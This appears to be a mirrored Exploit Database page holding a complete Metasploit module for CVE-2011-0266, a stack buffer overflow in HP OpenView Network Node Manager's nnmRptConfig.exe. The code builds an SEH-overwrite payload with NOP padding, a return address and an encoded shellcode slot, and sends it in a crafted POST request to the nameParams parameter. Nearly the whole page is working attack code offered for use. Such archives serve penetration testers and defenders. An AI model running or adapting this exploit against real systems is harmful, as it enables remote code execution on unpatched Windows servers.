HP OpenView Network Node Manager (OV NNM) – nnmRptConfig nameParams Buffer Overflow (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2011-03-23
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17028/

• ##
  # $Id: hp_nnm_nnmrptconfig_nameparams.rb 12085 2011-03-23 03:37:18Z sinn3r $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name'=> "HP OpenView NNM nnmRptConfig nameParams Buffer Overflow",
  			'Description' => %q{
  				This module exploits a vulnerability in HP NNM's nnmRptConfig.exe.
  				A remote user can send a long string data to the nameParams parameter via
  				a POST request, which causes an overflow on the stack when function
  				ov.sprintf_new() is used, and gain arbitrary code execution.'
  			},
  			'License'	=> MSF_LICENSE,
  			'Version'	=> "$Revision: 12085 $",
  			'Author'=>
  				[
  					'sinn3r',
  				],
  			'References' =>
  				[
  					['CVE', '2011-0266'],
  					['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-008/']
  				],
  			'Payload'	 =>
  				{
  					'BadChars' => "\x00\x26\x2b",
  				},
  			'DefaultOptions' =>
  				{
  					'ExitFunction' => "seh",
  					'AutoRunScript' => 'migrate -f',
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					['Windows Server 2003 Enterprise', {'Ret'=>0x5A30532D, 'offset'=>46913, 'Pops'=>13, 'Payloadoffset'=>57} ],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "JAN 10 2011"))
  
  			register_options(
  				[
  					Opt::RPORT(80),
  				], self.class)
  	end
  
  	def exploit
  
  		nops = make_nops(1000)*70
  
  		sploit= nops[0, target['offset']]
  		sploit << generate_seh_record(target.ret)
  		sploit << "\x61"*target['Pops']
  		sploit << "\x51"
  		sploit << "\xc3"
  		sploit << nops[0, target['Payloadoffset']]
  		sploit << payload.encoded
  		sploit << nops[0, 70000-sploit.length]
  
  		data= "Content&Action=Create&"
  		data << "Template=Avail/CRAvail&"
  		data << "Operation=Apply&"
  		data << "Params=schdParams+nameParams"
  		data << "&schdParams=schd_select1%3Ddaily%7Cmonthtodate&"
  		data << "nameParams=text1%3D#{sploit}%26text2%3Dtest2test%26text3%3Dtest2 HTTP/1.1"
  
  		connect
  		send_request_raw({
  			'uri' => '/OvCgi/nnmRptConfig.exe',
  			'data' => data,
  			'version' => '1.1',
  			'method' => 'POST',
  			'headers' => {
  				'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  				'Accept-Language' => 'en-us,en;q=0.5',
  				'Accept-Encoding' => 'gzip,deflate',
  				'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
  				'Keep-Alive' => '300',
  				'Connection' => 'Keep-Alive',
  				'Cache-Control' => 'max-age=0',
  				'Content-Length' => data.length,
  				'Content-Type' => 'application/x-www-form-urlencoded',
  			}
  		}, 3)
  
  		handler
  		disconnect
  
  	end
  end